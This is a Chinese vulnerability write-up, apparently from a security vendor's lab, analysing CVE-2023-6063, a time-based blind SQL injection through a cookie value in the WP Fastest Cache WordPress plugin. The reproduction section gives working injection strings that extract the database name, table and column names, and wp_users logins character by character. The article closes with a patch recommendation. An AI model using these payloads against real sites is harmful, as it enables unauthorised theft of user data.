网宿安全演武实验室
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
漏洞概述
WP Fastest Cache是一个WordPress缓存插件,用于加速页面加载、改善访问者体验并提高网站在 Google 搜索上的排名。根据 WordPress.org统计,使用WP Fastest Cache的网站已超过一百万个。WP Fastest Cache < 1.2.2版本存在SQL 注入漏洞(CVE-2023-6063),该漏洞可导致未经身份验证的攻击者读取站点数据库中的内容。
受影响版本
WP Fastest Cache Plugin < 1.2.2
漏洞分析
首先定位到wpFastestCache.php。找到创建缓存函数,可以看到cache()函数包含了”inc/cahe.php”,并且实例化了WpFastestCacheCreateCache 类,执行了类中createCache()函数。
可以看出username作为了参数传入到sql语句中,但是并没有做任何的检查和过滤措施。
核心sql语句如下:
"SELECT `$wpdb->users`.`ID`, `$wpdb->users`.`user_login`, `$wpdb->usermeta`.`meta_key`, `$wpdb->usermeta`.`meta_value` FROM `$wpdb->users` INNER JOIN `$wpdb->usermeta` ON `$wpdb->users`.`user_login` = \"$username\" AND `$wpdb->usermeta`.`meta_key` LIKE \"%_user_level\" AND $wpdb->usermeta`.`meta_value` = \"10\" AND `$wpdb->users`.`ID` = `$wpdb->usermeta`.user_id ;"
主要做了内联了wp_users和wp_usermeta两个表中查询包含相应列的行记录。
将代码中的匹配到的$cookie_value,$username和get_var中语句echo输出到页面显示。
至此,可知username的值由cookie获取,用户可控。而且username的值作为参数在数据库中执行,且没有做任何的检查和过滤措施,用户可以通过拼接以上sql语句执行恶意代码,对站点进行攻击。
漏洞复现
通过上述分析并且拼接sql语句,发现该注入点不能直接回显获取任何应用程序返回的错误信息或者查询结果,属于基于时间盲注。通过闭合双引号再拼接sleep(5)延时函数来判断sql语句是否执行成功。
可以看出成功拼接语句,使程序延时5s执行,拼接执行的语句如下:
接着就可以依靠着这个延时注入的机制来判断数据库名称的长度。采用root" AND if(length(database())=9,sleep(2),1) and "1"="1语句。root”和”1”=”1分别闭合前后两个双引号,if(expresssion1,expression2,expression3)表示的是如果expression为true,则if()返回expression2,否则返回expression3。即在此处如果数据库长度length(database())=9为真,则if()返回sleep(2)延时2s,否则返回1。通过这种方式拼接执行可以推断当前数据库的长度是9。
下一步就可以判断数据库名称的组成。采用root" AND if(mid(database(),1,1)="w",sleep(1),1) and "1"="1语句。同理root"和"1"="1为了闭合原有的双引号,sleep(1)使程序延时1s执行,mid(database(),1,1)="w"判读数据库的第一个字符是不是”w”。可以通过爆破方式推断出数据库的每个字符为”wordpress”。
接着判断该数据库里面的表。采用root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),1,1)="w", sleep(5),1) and "1"="1语句。其表示在information_schema数据库中查询wordpress的第一个表,并且通过mid()函数取其第一个字符在if()判断该表的第一个字符是不是”w”。通过此方式可以爆破出wordpress数据库中的各张表名称。
#第二个字符sql语句
root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),2,1)="p", sleep(5),1) and "1"="1
#第三个字符sql语句
root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),3,1)="_", sleep(5),1) and "1"="1
…………..
最终可以爆破出第一张表名wp_termmeta。
同理改变在information_schema数据库中查询wordpress的表的查询结果,可以爆破出其他表。
#wordpress第二张表的第一个字符sql语句
root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1,1),1,1)="w", sleep(5),1) and "1"="1
#wordpress第二张表的第二个字符sql语句
root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1,1),2,1)="p", sleep(5),1) and "1"="1
………
#wordpress第三张表的第一个字符sql语句
root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 2,1),1,1)="w", sleep(5),1) and "1"="1
#wordpress第三张表的第二个字符sql语句
root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 2,1),2,1)="w", sleep(5),1) and "1"="1
……..
依据此可以爆出wordpress数据库中所有的表。
得到了数据库中所有表后,接着就可以爆破表中的字段,采用root" AND if(mid((select column_name from information_schema.columns where table_name = 'wp_users' limit 1),1,1)="I", sleep(5),1) and "1"="1语句。其表示在information_schema数据库中查询wp_users的第一个字段,并且通过mid()函数取其第一个字符在if()判断该表的第一个字符是不是”I”。与上面同理,通过此方式可以爆破出中的各张表中字段的名称。
得到了表中所有字段名称后,接着就可以爆破表中的字段的值,采用root" AND if(mid((select user_login from wp_users limit 1),1,1)="r", sleep(5),1) and "1"="1语句。其表示在wp_users表中查询user_login字段的第一个值,并且通过mid()函数取其第一个字符在if()判断该表的第一个字符是不是”r”。
与上面同理,通过此方式可以爆破出中的表中各字段名称的值。
修复方案
将WP Fastest Cache升级到最新版本。利用cookie中wordpress_logged_in的值进行数据查询前,进行检查和过滤。
产品支持
网宿云WAF已第一时间支持对该漏洞利用攻击的防护,并持续挖掘分析其他变种攻击方式和各类组件漏洞,第一时间上线防护规则,缩短防护“空窗期”。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)